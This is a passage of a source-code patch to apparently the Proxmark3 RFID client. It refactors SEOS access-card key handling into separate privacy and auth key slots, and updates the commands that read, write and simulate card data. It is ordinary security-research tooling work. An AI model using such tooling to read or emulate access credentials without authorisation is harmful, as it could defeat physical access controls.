PrintAndLogEx(INFO, "Auth Key......................... " _YELLOW_("%s"), sprint_hex(keys[i].authKey, 16)); PrintAndLogEx(INFO, "----------------------------"); } } else { - PrintAndLogEx(INFO, "idx| key"); - PrintAndLogEx(INFO, "---+------------------------"); + PrintAndLogEx(INFO, "idx| privacy | auth"); + PrintAndLogEx(INFO, "---+---------+-----"); for (uint8_t i = 0; i < ARRAYLEN(keys); i++) { - if (memcmp(keys[i].privEncKey, zeros, sizeof(zeros)) == 0) - PrintAndLogEx(INFO, " %u |", i); - else - PrintAndLogEx(INFO, " %u | " _YELLOW_("%s"), i, sprint_hex(keys[i].nonce, 8)); + bool has_privacy = (memcmp(keys[i].privEncKey, zeros, sizeof(zeros)) != 0) || (memcmp(keys[i].privMacKey, zeros, sizeof(zeros)) != 0); + bool has_auth = (memcmp(keys[i].authKey, zeros, sizeof(zeros)) != 0); + PrintAndLogEx(INFO, " %u | %c | %c", i, has_privacy ? 'Y' : ' ', has_auth ? 'Y' : ' '); } - PrintAndLogEx(INFO, "---+------------------------"); + PrintAndLogEx(INFO, "---+---------+-----"); }; PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; @@ -1569,24 +1624,25 @@ static int seos_load_keys(char *filename) { return PM3_EFILE; } - // 16 = max line size - // 8 = 8 items per keyset - // 4 = 4 keysets - if (bytes_read > 382) { + if (bytes_read > sizeof(keys)) { PrintAndLogEx(WARNING, "File is too long to load - exp: %zu got: %zu", sizeof(keys), bytes_read); free(dump); return PM3_EFILE; } size_t kn = sizeof(keyset_t); + memset(keys, 0, sizeof(keys)); size_t i = 0; + if ((bytes_read % kn) != 0) { + PrintAndLogEx(ERR, "Key file size is invalid for current SEOS key layout"); + free(dump); + return PM3_EFILE; + } for (; i < bytes_read / kn; i++) { - memcpy(&keys[i].keyslot, dump + (i * kn), 1); - memcpy(keys[i].nonce, dump + ((i * kn) + 1), 8); - memcpy(keys[i].privEncKey, dump + ((i * kn) + 9), 16); - memcpy(keys[i].privMacKey, dump + ((i * kn) + 25), 16); - memcpy(keys[i].authKey, dump + ((i * kn) + 41), 16); + memcpy(keys[i].privEncKey, dump + (i * kn), 16); + memcpy(keys[i].privMacKey, dump + ((i * kn) + 16), 16); + memcpy(keys[i].authKey, dump + ((i * kn) + 32), 16); } free(dump); @@ -1594,8 +1650,9 @@ static int seos_load_keys(char *filename) { return PM3_SUCCESS; } -int infoSeos(bool verbose) { - return seos_select(NULL, 0); +int infoSeos(bool verbose, int privacy_key_index, int auth_key_index) { + (void)verbose; + return seos_select(NULL, 0, privacy_key_index, auth_key_index); } static int CmdHfSeosInfo(const char *Cmd) { @@ -1604,25 +1661,52 @@ static int CmdHfSeosInfo(const char *Cmd) { "Requests the unauthenticated information from the default ADF of a SEOS card\n" "- If the card is a SEOS card\n" "- Are static RND.ICC keys used (can detect SEOS default keyset)\n" - "- What encryption and hashing algorithm is use\n", + "- What encryption and hashing algorithm is use\n\n" + "By default:\n" + " - Privacy Key: 0\n" + " The selected privacy slot provides both encryption and MAC subkeys for ADF handling.\n" + " - Auth Key : 0\n" + " The selected auth slot is sent to the card for challenge/authentication.\n", "hf seos info\n" - "hf seos info --aid A0000004400001010001" + "hf seos info --privacy-key 8 --auth-key 9\n" + "hf seos info --privacy-key 8 --auth-key 9 --aid A0000004400001010001" ); void *argtable[] = { arg_param_begin, + arg_str0(NULL, "privacy-key", "", "Privacy key slot index. The selected slot provides both privacy encryption and MAC subkeys for ADF handling"), + arg_str0(NULL, "auth-key", "", "Auth key slot index. The selected slot is sent to the card for challenge/authentication"), arg_str0(NULL, "aid", "", "Use a custom SEOS AID"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); + int privacy_key_index = 0; + int auth_key_index = 0; + int privacy_key_len = 0; + int auth_key_len = 0; uint8_t aid[MAX_SEOS_AID_LEN] = {0}; int aid_len = 0; - int res = seos_get_custom_aid(ctx, 1, aid, &aid_len); + char privacy_key_str[12] = {0}; + char auth_key_str[12] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)privacy_key_str, sizeof(privacy_key_str), &privacy_key_len); + CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)auth_key_str, sizeof(auth_key_str), &auth_key_len); + if (privacy_key_len != 0 && seos_parse_key_index(privacy_key_str, &privacy_key_index) == false) { + CLIParserFree(ctx); + PrintAndLogEx(ERR, "Invalid privacy key. Expected --privacy-key N with index in range 0-%zu", ARRAYLEN(keys) - 1); + return PM3_EINVARG; + } + if (auth_key_len != 0 && seos_parse_key_index(auth_key_str, &auth_key_index) == false) { + CLIParserFree(ctx); + PrintAndLogEx(ERR, "Invalid auth key. Expected --auth-key N with index in range 0-%zu", ARRAYLEN(keys) - 1); + return PM3_EINVARG; + } + int res = seos_get_custom_aid(ctx, 3, aid, &aid_len); + CLIParserFree(ctx); if (res != PM3_SUCCESS) { return res; } - return seos_select(aid, aid_len); + return seos_select(aid, aid_len, privacy_key_index, auth_key_index); } static int CmdHfSeosGDF(const char *Cmd) { @@ -1630,29 +1714,37 @@ static int CmdHfSeosGDF(const char *Cmd) { CLIParserInit(&ctx, "hf seos gdf", "Get Global Data File (GDF) from SEOS card\n\n" "By default:\n" - " - Key Index: 3\n", + " - Privacy Key: 3\n", "hf seos gdf\n" - "hf seos gdf --ki 3\n" - "hf seos gdf --aid A0000004400001010001" + "hf seos gdf --privacy-key 3\n" + "hf seos gdf --privacy-key 3 --aid A0000004400001010001" ); void *argtable[] = { arg_param_begin, - arg_int0(NULL, "ki", "", "Specify key index to set key in memory"), + arg_str0(NULL, "privacy-key", "", "Privacy key slot index. The selected slot provides both privacy encryption and MAC subkeys and is sent as the privacy slot identifier"), arg_str0(NULL, "aid", "", "Use a custom SEOS AID"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); - int key_index = arg_get_int_def(ctx, 1, 3); + int privacy_key_index = 3; + int privacy_key_len = 0; uint8_t aid[MAX_SEOS_AID_LEN] = {0}; int aid_len = 0; + char privacy_key_str[12] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)privacy_key_str, sizeof(privacy_key_str), &privacy_key_len); + if (privacy_key_len != 0 && seos_parse_key_index(privacy_key_str, &privacy_key_index) == false) { + CLIParserFree(ctx); + PrintAndLogEx(ERR, "Invalid privacy key. Expected --privacy-key N with index in range 0-%zu", ARRAYLEN(keys) - 1); + return PM3_EINVARG; + } int res = seos_get_custom_aid(ctx, 2, aid, &aid_len); CLIParserFree(ctx); if (res != PM3_SUCCESS) { return res; } - return seos_global_df(key_index, aid, aid_len); + return seos_global_df(privacy_key_index, aid, aid_len); } static int CmdHfSeosPACS(const char *Cmd) { @@ -1660,17 +1752,21 @@ static int CmdHfSeosPACS(const char *Cmd) { CLIParserInit(&ctx, "hf seos pacs", "Make a GET DATA request to an ADF of a SEOS card\n\n" "By default:\n" - " - ADF OID : 2B0601040181E438010102011801010202\n" - " - Key Index: 0\n", + " - ADF OID : 2B0601040181E438010102011801010202\n" + " - Privacy Key : 0\n" + " The selected privacy slot provides both encryption and MAC subkeys and is sent as the privacy slot identifier.\n" + " - Auth Key : 0\n" + " The selected auth slot provides the auth key and is sent as the auth slot identifier.\n", "hf seos pacs\n" - "hf seos pacs --ki 1\n" - "hf seos pacs -o 2B0601040181E438010102011801010202 --ki 0\n" + "hf seos pacs --privacy-key 8 --auth-key 9\n" + "hf seos pacs -o 2B0601040181E438010102011801010202 --privacy-key 8 --auth-key 9\n" ); void *argtable[] = { arg_param_begin, arg_str0("o", "oid", "", "<0-100> hex bytes for OID (Default: 2B0601040181E438010102011801010202)"), - arg_int0(NULL, "ki", "", "Specify key index to set key in memory"), + arg_str0(NULL, "privacy-key", "", "Privacy key slot index. The selected slot provides both privacy encryption and MAC subkeys and is sent as the privacy slot identifier"), + arg_str0(NULL, "auth-key", "", "Auth key slot index. The selected slot provides the auth key and is sent as the auth slot identifier"), arg_str0(NULL, "aid", "", "Use a custom SEOS AID"), arg_param_end }; @@ -1683,10 +1779,27 @@ static int CmdHfSeosPACS(const char *Cmd) { uint8_t oid_hex[256] = {0x2B, 0x06, 0x01, 0x04, 0x01, 0x81, 0xE4, 0x38, 0x01, 0x01, 0x02, 0x01, 0x18, 0x01, 0x01, 0x02, 0x02}; CLIGetHexWithReturn(ctx, 1, oid_hex, &oid_len); - int key_index = arg_get_int_def(ctx, 2, 0); + int privacy_key_index = 0; + int auth_key_index = 0; + int privacy_key_len = 0; + int auth_key_index_len = 0; uint8_t aid[MAX_SEOS_AID_LEN] = {0}; int aid_len = 0; - int res = seos_get_custom_aid(ctx, 3, aid, &aid_len); + char privacy_key_str[12] = {0}; + char auth_key_index_str[12] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)privacy_key_str, sizeof(privacy_key_str), &privacy_key_len); + CLIParamStrToBuf(arg_get_str(ctx, 3), (uint8_t *)auth_key_index_str, sizeof(auth_key_index_str), &auth_key_index_len); + if (privacy_key_len != 0 && seos_parse_key_index(privacy_key_str, &privacy_key_index) == false) { + CLIParserFree(ctx); + PrintAndLogEx(ERR, "Invalid privacy key. Expected --privacy-key N with index in range 0-%zu", ARRAYLEN(keys) - 1); + return PM3_EINVARG; + } + if (auth_key_index_len != 0 && seos_parse_key_index(auth_key_index_str, &auth_key_index) == false) { + CLIParserFree(ctx); + PrintAndLogEx(ERR, "Invalid auth key. Expected --auth-key N with index in range 0-%zu", ARRAYLEN(keys) - 1); + return PM3_EINVARG; + } + int res = seos_get_custom_aid(ctx, 4, aid, &aid_len); CLIParserFree(ctx); if (res != PM3_SUCCESS) { @@ -1710,7 +1823,7 @@ static int CmdHfSeosPACS(const char *Cmd) { return PM3_ESOFT; } - return seos_pacs((char *)oid, oid_len, data_tag, data_tag_len, key_index, aid, aid_len); + return seos_pacs((char *)oid, oid_len, data_tag, data_tag_len, privacy_key_index, auth_key_index, aid, aid_len); } static int CmdHfSeosWrite(const char *Cmd) { @@ -1718,17 +1831,19 @@ static int CmdHfSeosWrite(const char *Cmd) { CLIParserInit(&ctx, "hf seos write", "Make a PUT DATA request to an ADF of a SEOS card\n\n" "By default:\n" - " - ADF OID : 2B0601040181E438010102011801010202\n" - " - Key Index: 2\n", + " - ADF OID : 2B0601040181E438010102011801010202\n" + " - Privacy Key : 2\n" + " - Auth Key : 2\n", "hf seos write -d 12345678\n" - "hf seos write --ki 1\n" - "hf seos write -o 2B0601040181E438010102011801010202 --ki 2 -d 12345678\n" + "hf seos write --privacy-key 8 --auth-key 9 -d 12345678\n" + "hf seos write -o 2B0601040181E438010102011801010202 --privacy-key 8 --auth-key 9 -d 12345678\n" ); void *argtable[] = { arg_param_begin, arg_str0("o", "oid", "", "<0-100> hex bytes for OID (Default: 2B0601040181E438010102011801010202)"), - arg_int0(NULL, "ki", "", "Specify key index to set key in memory"), + arg_str0(NULL, "privacy-key", "", "Privacy key slot index. The selected slot provides both privacy encryption and MAC subkeys and is sent as the privacy slot identifier"), + arg_str0(NULL, "auth-key", "", "Auth key slot index. The selected slot provides the auth key and is sent as the auth slot identifier"), arg_str0(NULL, "aid", "", "Use a custom SEOS AID"), arg_str0("d", "data", "", "<0-128> hex bytes for data (Must be valid BER-TLV)"), arg_param_end @@ -1742,14 +1857,31 @@ static int CmdHfSeosWrite(const char *Cmd) { uint8_t oid_hex[256] = {0x2B, 0x06, 0x01, 0x04, 0x01, 0x81, 0xE4, 0x38, 0x01, 0x01, 0x02, 0x01, 0x18, 0x01, 0x01, 0x02, 0x02}; CLIGetHexWithReturn(ctx, 1, oid_hex, &oid_len); - int key_index = arg_get_int_def(ctx, 2, 2); + int privacy_key_index = 2; + int auth_key_index = 2; + int privacy_key_len = 0; + int auth_key_len = 0; uint8_t aid[MAX_SEOS_AID_LEN] = {0}; int aid_len = 0; - int res = seos_get_custom_aid(ctx, 3, aid, &aid_len); + char privacy_key_str[12] = {0}; + char auth_key_str[12] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)privacy_key_str, sizeof(privacy_key_str), &privacy_key_len); + CLIParamStrToBuf(arg_get_str(ctx, 3), (uint8_t *)auth_key_str, sizeof(auth_key_str), &auth_key_len); + if (privacy_key_len != 0 && seos_parse_key_index(privacy_key_str, &privacy_key_index) == false) { + CLIParserFree(ctx); + PrintAndLogEx(ERR, "Invalid privacy key. Expected --privacy-key N with index in range 0-%zu", ARRAYLEN(keys) - 1); + return PM3_EINVARG; + } + if (auth_key_len != 0 && seos_parse_key_index(auth_key_str, &auth_key_index) == false) { + CLIParserFree(ctx); + PrintAndLogEx(ERR, "Invalid auth key. Expected --auth-key N with index in range 0-%zu", ARRAYLEN(keys) - 1); + return PM3_EINVARG; + } + int res = seos_get_custom_aid(ctx, 4, aid, &aid_len); int data_len = 0; uint8_t data[256] = {}; - CLIGetHexWithReturn(ctx, 4, data, &data_len); + CLIGetHexWithReturn(ctx, 5, data, &data_len); CLIParserFree(ctx); if (res != PM3_SUCCESS) { @@ -1778,7 +1910,7 @@ static int CmdHfSeosWrite(const char *Cmd) { return PM3_ESOFT; } - return seos_write((char *)oid, oid_len, data_tag, data_tag_len, key_index, data, data_len, aid, aid_len); + return seos_write((char *)oid, oid_len, data_tag, data_tag_len, privacy_key_index, auth_key_index, data, data_len, aid, aid_len); } static int CmdHfSeosADF(const char *Cmd) { @@ -1788,20 +1920,24 @@ static int CmdHfSeosADF(const char *Cmd) { "The ADF is meant to be read by an application\n" "You still need the valid authentication keys to read a card\n\n" "By default:\n" - " - ADF OID : 2B0601040181E438010102011801010202\n" - " - Key Index: 0\n" - " - Data Tag : FF00\n", + " - ADF OID : 2B0601040181E438010102011801010202\n" + " - Privacy Key : 0\n" + " The selected privacy slot provides both encryption and MAC subkeys and is sent as the privacy slot identifier.\n" + " - Auth Key : 0\n" + " The selected auth slot provides the auth key and is sent as the auth slot identifier.\n" + " - Data Tag : FF00\n", "hf seos adf\n" "hf seos adf -o 2B0601040181E438010102011801010202\n" - "hf seos adf -o 2B0601040181E438010102011801010202 --ki 0\n" - "hf seos adf -o 2B0601040181E438010102011801010202 -t FF41\n" + "hf seos adf -o 2B0601040181E438010102011801010202 --privacy-key 8 --auth-key 9\n" + "hf seos adf -o 2B0601040181E438010102011801010202 -t FF41 --privacy-key 8 --auth-key 9\n" ); void *argtable[] = { arg_param_begin, arg_str0("t", "tag", "", "<0-100> hex bytes for tag to read (Default: FF00)"), arg_str0("o", "oid", "", "<0-100> hex bytes for OID (Default: 2B0601040181E438010102011801010202)"), - arg_int0(NULL, "ki", "", "Specify key index to set key in memory"), + arg_str0(NULL, "privacy-key", "", "Privacy key slot index. The selected slot provides both privacy encryption and MAC subkeys and is sent as the privacy slot identifier"), + arg_str0(NULL, "auth-key", "", "Auth key slot index. The selected slot provides the auth key and is sent as the auth slot identifier"), arg_str0(NULL, "aid", "", "Use a custom SEOS AID"), arg_param_end }; @@ -1815,10 +1951,27 @@ static int CmdHfSeosADF(const char *Cmd) { uint8_t oid_hex[256] = {0x2B, 0x06, 0x01, 0x04, 0x01, 0x81, 0xE4, 0x38, 0x01, 0x01, 0x02, 0x01, 0x18, 0x01, 0x01, 0x02, 0x02}; CLIGetHexWithReturn(ctx, 2, oid_hex, &oid_len); - int key_index = arg_get_int_def(ctx, 3, 0); + int privacy_key_index = 0; + int auth_key_index = 0; + int privacy_key_len = 0; + int auth_key_index_len = 0; uint8_t aid[MAX_SEOS_AID_LEN] = {0}; int aid_len = 0; - int res = seos_get_custom_aid(ctx, 4, aid, &aid_len); + char privacy_key_str[12] = {0}; + char auth_key_index_str[12] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 3), (uint8_t *)privacy_key_str, sizeof(privacy_key_str), &privacy_key_len); + CLIParamStrToBuf(arg_get_str(ctx, 4), (uint8_t *)auth_key_index_str, sizeof(auth_key_index_str), &auth_key_index_len); + if (privacy_key_len != 0 && seos_parse_key_index(privacy_key_str, &privacy_key_index) == false) { + CLIParserFree(ctx); + PrintAndLogEx(ERR, "Invalid privacy key. Expected --privacy-key N with index in range 0-%zu", ARRAYLEN(keys) - 1); + return PM3_EINVARG; + } + if (auth_key_index_len != 0 && seos_parse_key_index(auth_key_index_str, &auth_key_index) == false) { + CLIParserFree(ctx); + PrintAndLogEx(ERR, "Invalid auth key. Expected --auth-key N with index in range 0-%zu", ARRAYLEN(keys) - 1); + return PM3_EINVARG; + } + int res = seos_get_custom_aid(ctx, 5, aid, &aid_len); CLIParserFree(ctx); if (res != PM3_SUCCESS) { @@ -1845,7 +1998,7 @@ static int CmdHfSeosADF(const char *Cmd) { return PM3_ESOFT; } - return seos_pacs((char *)oid, oid_len, data_tag, data_tag_len, key_index, aid, aid_len); + return seos_pacs((char *)oid, oid_len, data_tag, data_tag_len, privacy_key_index, auth_key_index, aid, aid_len); } static int CmdHfSeosSim(const char *Cmd) { @@ -1855,13 +2008,14 @@ static int CmdHfSeosSim(const char *Cmd) { "By default:\n" " - ADF OID : 2B0601040181E438010102011801010202\n" " - Diversifier: 01020304050607\n" - " - Key Index : 2\n" + " - Privacy Key: 2\n" + " - Auth Key : 2\n" " - Data Tag : FF00\n" " - Encryption : AES128\n" " - Hashing : SHA256\n", "hf seos sim -d 12345678\n" - "hf seos sim --ki 1\n" - "hf seos sim -o 2B0601040181E438010102011801010202 -u 01020304050607 --ki 2 -d 12345678\n" + "hf seos sim --privacy-key 8 --auth-key 9 -d 12345678\n" + "hf seos sim -o 2B0601040181E438010102011801010202 -u 01020304050607 --privacy-key 8 --auth-key 9 -d 12345678\n" "hf seos sim -o 2B0601040181E438010102011801010202 --legacy -t FF41 -d 12345678\n" ); @@ -1869,7 +2023,8 @@ static int CmdHfSeosSim(const char *Cmd) { arg_param_begin, arg_str0("t", "tag", "", "<0-100> hex bytes for tag to simulate (Default: FF00)"), arg_str0("o", "oid", "", "<0-100> hex bytes for OID (Default: 2B0601040181E438010102011801010202)"), - arg_int0(NULL, "ki", "", "Specify key index to set key in memory"), + arg_str0(NULL, "privacy-key", "", "Privacy key slot index. The selected slot provides both privacy encryption and MAC subkeys"), + arg_str0(NULL, "auth-key", "", "Auth key slot index. The selected slot provides the auth key"), arg_str0(NULL, "div", "", "<0-16> hex bytes for diversifier (Equivalent of UID)"), arg_str0("d", "data", "", "<0-128> hex bytes for data (Must be valid BER-TLV)"), arg_str0("u", "uid", "", "<0-10> hex bytes for UID (Must be a RID i.e. [0]=0x08)"), @@ -1886,23 +2041,40 @@ static int CmdHfSeosSim(const char *Cmd) { uint8_t oid[256] = {0x2B, 0x06, 0x01, 0x04, 0x01, 0x81, 0xE4, 0x38, 0x01, 0x01, 0x02, 0x01, 0x18, 0x01, 0x01, 0x02, 0x02}; CLIGetHexWithReturn(ctx, 2, oid, &oid_len); - int key_index = arg_get_int_def(ctx, 3, 2); + int privacy_key_index = 2; + int auth_key_index = 2; + int privacy_key_len = 0; + int auth_key_len = 0; + char privacy_key_str[12] = {0}; + char auth_key_str[12] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 3), (uint8_t *)privacy_key_str, sizeof(privacy_key_str), &privacy_key_len); + CLIParamStrToBuf(arg_get_str(ctx, 4), (uint8_t *)auth_key_str, sizeof(auth_key_str), &auth_key_len); + if (privacy_key_len != 0 && seos_parse_key_index(privacy_key_str, &privacy_key_index) == false) { + CLIParserFree(ctx); + PrintAndLogEx(ERR, "Invalid privacy key. Expected --privacy-key N with index in range 0-%zu", ARRAYLEN(keys) - 1); + return PM3_EINVARG; + } + if (auth_key_len != 0 && seos_parse_key_index(auth_key_str, &auth_key_index) == false) { + CLIParserFree(ctx); + PrintAndLogEx(ERR, "Invalid auth key. Expected --auth-key N with index in range 0-%zu", ARRAYLEN(keys) - 1); + return PM3_EINVARG; + } int diversifier_len = 0; uint8_t diversifier[256] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07}; - CLIGetHexWithReturn(ctx, 4, diversifier, &diversifier_len); + CLIGetHexWithReturn(ctx, 5, diversifier, &diversifier_len); int data_len = 0; uint8_t data[256] = {}; - CLIGetHexWithReturn(ctx, 5, data, &data_len); + CLIGetHexWithReturn(ctx, 6, data, &data_len); int uid_len = 0; uint8_t uid[10] = {0x08, 0x01, 0x02, 0x03}; - CLIGetHexWithReturn(ctx, 6, uid, &uid_len); + CLIGetHexWithReturn(ctx, 7, uid, &uid_len); uint8_t encryption_algorithm = SEOS_ENCRYPTION_AES; uint8_t hashing_algorithm = SEOS_HASHING_SHA256; - if (arg_get_lit(ctx, 7)) { // legacy algorithms + if (arg_get_lit(ctx, 8)) { // legacy algorithms encryption_algorithm = SEOS_ENCRYPTION_2K3DES, hashing_algorithm = SEOS_HASHING_SHA1; } @@ -1940,9 +2112,9 @@ static int CmdHfSeosSim(const char *Cmd) { }; // Copy all the provided values into the request object - memcpy(request.privenc, keys[key_index].privEncKey, 16); - memcpy(request.privmac, keys[key_index].privMacKey, 16); - memcpy(request.authkey, keys[key_index].authKey, 16); + memcpy(request.privenc, keys[privacy_key_index].privEncKey, 16); + memcpy(request.privmac, keys[privacy_key_index].privMacKey, 16); + memcpy(request.authkey, keys[auth_key_index].authKey, 16); memcpy(request.uid, uid, uid_len); memcpy(request.diversifier, diversifier, diversifier_len); @@ -1973,8 +2145,8 @@ static int CmdHfSeosManageKeys(const char *Cmd) { "Manage SEOS Keys in client memory, keys are required to authenticate with SEOS cards\n", "hf seos managekeys -p\n" "hf seos managekeys -p -v\n" - "hf seos managekeys --ki 0 --nonce 0102030405060708 -> Set nonce value at key index 0\n" - "hf seos managekeys --ki 1 --keyslot 1 -> Set keyslot value at key index 1\n" + "hf seos managekeys --ki 8 --privacy 0000000000000000000000000000000000000000000000000000000000000000\n" + "hf seos managekeys --ki 9 --auth 00000000000000000000000000000000\n" "hf seos managekeys --load -f mykeys.bin -p -> load from file and prints keys\n" "hf seos managekeys --save -f mykeys.bin -> saves keys to file\n" ); @@ -1982,11 +2154,8 @@ static int CmdHfSeosManageKeys(const char *Cmd) { void *argtable[] = { arg_param_begin, arg_int0(NULL, "ki", "", "Specify key index to set key in memory"), - arg_str0(NULL, "keyslot", "", "Keyslot value as 1 hex byte"), - arg_str0(NULL, "nonce", "", "Nonce value as 8 hex bytes"), - arg_str0(NULL, "privenc", "", "Privacy Encryption key as 16 hex bytes"), - arg_str0(NULL, "privmac", "", "Privacy MAC key as 16 hex bytes"), - arg_str0(NULL, "auth", "", "Undiversified Auth key as 16 hex bytes"), + arg_str0(NULL, "privacy", "", "Privacy key as 32 hex bytes (enc || mac)"), + arg_str0(NULL, "auth", "", "Auth key as 16 hex bytes"), arg_str0("f", "file", "", "Specify a filename for load / save operations"), arg_lit0(NULL, "save", "Save keys in memory to file specified by filename"), @@ -2000,119 +2169,88 @@ static int CmdHfSeosManageKeys(const char *Cmd) { int fnlen = 0; char filename[FILE_PATH_SIZE] = {0}; - uint8_t operation = 0; - - uint8_t keyslot[1] = {0}; - uint8_t nonce[8] = {0}; - uint8_t privenc[16] = {0}; - uint8_t privmac[16] = {0}; + uint8_t privacy[32] = {0}; uint8_t auth[16] = {0}; - int keyslot_len = 0; - int nonce_len = 0; - int privenc_len = 0; - int privmac_len = 0; + int privacy_len = 0; int auth_len = 0; int key_index = arg_get_int_def(ctx, 1, -1); - CLIGetHexWithReturn(ctx, 2, keyslot, &keyslot_len); - CLIGetHexWithReturn(ctx, 3, nonce, &nonce_len); - CLIGetHexWithReturn(ctx, 4, privenc, &privenc_len); - CLIGetHexWithReturn(ctx, 5, privmac, &privmac_len); - CLIGetHexWithReturn(ctx, 6, auth, &auth_len); + CLIGetHexWithReturn(ctx, 2, privacy, &privacy_len); + CLIGetHexWithReturn(ctx, 3, auth, &auth_len); - CLIParamStrToBuf(arg_get_str(ctx, 7), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); + CLIParamStrToBuf(arg_get_str(ctx, 4), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); - if (key_index >= 0) { - operation += 3; - if (key_index < 4) { - if (keyslot_len != 0) { - PrintAndLogEx(SUCCESS, "Current value for keyslot[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(&keys[key_index].keyslot, 1)); - } - if (nonce_len != 0) { - PrintAndLogEx(SUCCESS, "Current value for nonce[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].nonce, 8)); - } - if (privenc_len != 0) { - PrintAndLogEx(SUCCESS, "Current value for Priv Enc[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].privEncKey, 16)); - } - if (privmac_len != 0) { - PrintAndLogEx(SUCCESS, "Current value for Priv Mac[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].privMacKey, 16)); - } - if (auth_len != 0) { - PrintAndLogEx(SUCCESS, "Current value for Auth Key[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].authKey, 16)); - } - } else { - PrintAndLogEx(ERR, "Key index is out-of-range"); - CLIParserFree(ctx); - return PM3_EINVARG; - } + if (key_index >= (int)ARRAYLEN(keys)) { + PrintAndLogEx(ERR, "Key index is out-of-range"); + CLIParserFree(ctx); + return PM3_EINVARG; } - if (arg_get_lit(ctx, 8)) { //save - operation += 6; - } - if (arg_get_lit(ctx, 9)) { //load - operation += 5; - } - if (arg_get_lit(ctx, 10)) { //print - operation += 4; - } - - bool verbose = arg_get_lit(ctx, 11); + bool do_save = arg_get_lit(ctx, 5); + bool do_load = arg_get_lit(ctx, 6); + bool do_print = arg_get_lit(ctx, 7); + bool verbose = arg_get_lit(ctx, 8); + bool do_update = (privacy_len > 0) || (auth_len > 0); CLIParserFree(ctx); - if (operation == 0) { + if (do_update == false && do_save == false && do_load == false && do_print == false) { PrintAndLogEx(ERR, "No operation specified (load, save, or print)\n"); return PM3_EINVARG; } - if (operation > 6) { + if ((do_save + do_load + do_update) > 1) { PrintAndLogEx(ERR, "Too many operations specified\n"); return PM3_EINVARG; } - if (operation > 4 && fnlen == 0) { + if ((do_save || do_load) && fnlen == 0) { PrintAndLogEx(ERR, "You must enter a filename when loading or saving\n"); return PM3_EINVARG; } - if (((keyslot_len > 0) || (nonce_len > 0) || (privenc_len > 0) || (privmac_len > 0) || (auth_len > 0)) && key_index == -1) { + if (do_update && key_index == -1) { PrintAndLogEx(ERR, "Please specify key index when specifying key"); return PM3_EINVARG; } + if (privacy_len != 0 && privacy_len != 32) { + PrintAndLogEx(ERR, "Privacy key must be exactly 32 bytes"); + return PM3_EINVARG; + } + if (auth_len != 0 && auth_len != 16) { + PrintAndLogEx(ERR, "Auth key must be exactly 16 bytes"); + return PM3_EINVARG; + } - switch (operation) { - case 3: - if (keyslot_len != 0) { - memcpy(&keys[key_index].keyslot, keyslot, 1); - PrintAndLogEx(SUCCESS, "New value for keyslot[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(&keys[key_index].keyslot, 1)); - } - if (nonce_len != 0) { - memcpy(keys[key_index].nonce, nonce, 8); - PrintAndLogEx(SUCCESS, "New value for nonce[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].nonce, 8)); - } - if (privenc_len != 0) { - memcpy(keys[key_index].privEncKey, privenc, 16); - PrintAndLogEx(SUCCESS, "New value for Priv Enc[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].privEncKey, 16)); - } - if (privmac_len != 0) { - memcpy(keys[key_index].privMacKey, privmac, 16); - PrintAndLogEx(SUCCESS, "New value for Priv Mac[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].privMacKey, 16)); - } - if (auth_len != 0) { - memcpy(keys[key_index].authKey, auth, 16); - PrintAndLogEx(SUCCESS, "New value for Auth Key[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].authKey, 16)); - } - return PM3_SUCCESS; - case 4: - return seos_print_keys(verbose); - case 5: - return seos_load_keys(filename); - case 6: { - bool isOK = saveFile(filename, ".bin", keys, sizeof(keys)); - if (isOK == false) { - return PM3_EFILE; - } - return PM3_SUCCESS; + if (do_update) { + if (privacy_len != 0) { + memcpy(keys[key_index].privEncKey, privacy, 16); + memcpy(keys[key_index].privMacKey, privacy + 16, 16); + PrintAndLogEx(SUCCESS, "New value for Privacy Key[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(privacy, 32)); } + if (auth_len != 0) { + memcpy(keys[key_index].authKey, auth, 16); + PrintAndLogEx(SUCCESS, "New value for Auth Key[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].authKey, 16)); + } + return PM3_SUCCESS; + } + + if (do_load) { + int res = seos_load_keys(filename); + if (res != PM3_SUCCESS || do_print == false) { + return res; + } + return seos_print_keys(verbose); + } + + if (do_save) { + bool isOK = saveFile(filename, ".bin", keys, sizeof(keys)); + if (isOK == false) { + return PM3_EFILE; + } + return PM3_SUCCESS; + } + + if (do_print) { + return seos_print_keys(verbose); } return PM3_SUCCESS; diff --git a/client/src/cmdhfseos.h b/client/src/cmdhfseos.h index abc7f7239..8d416afe4 100644 --- a/client/src/cmdhfseos.h +++ b/client/src/cmdhfseos.h @@ -22,7 +22,7 @@ #include "common.h" #include "seos_cmd.h" -int infoSeos(bool verbose); +int infoSeos(bool verbose, int privacy_key_index, int auth_key_index); int CmdHFSeos(const char *Cmd); int seos_kdf(bool encryption, uint8_t *masterKey, uint8_t keyslot, uint8_t *adfOid, size_t adfoid_len, uint8_t *diversifier, uint8_t diversifier_len, uint8_t *out, int encryption_algorithm, int hash_algorithm); From a46a4bfa656ee65dedb43e8b21903d1301c7b413 Mon Sep 17 00:00:00 2001 From: Mistial Developer Date: Fri, 20 Mar 2026 12:37:17 -0700 Subject: 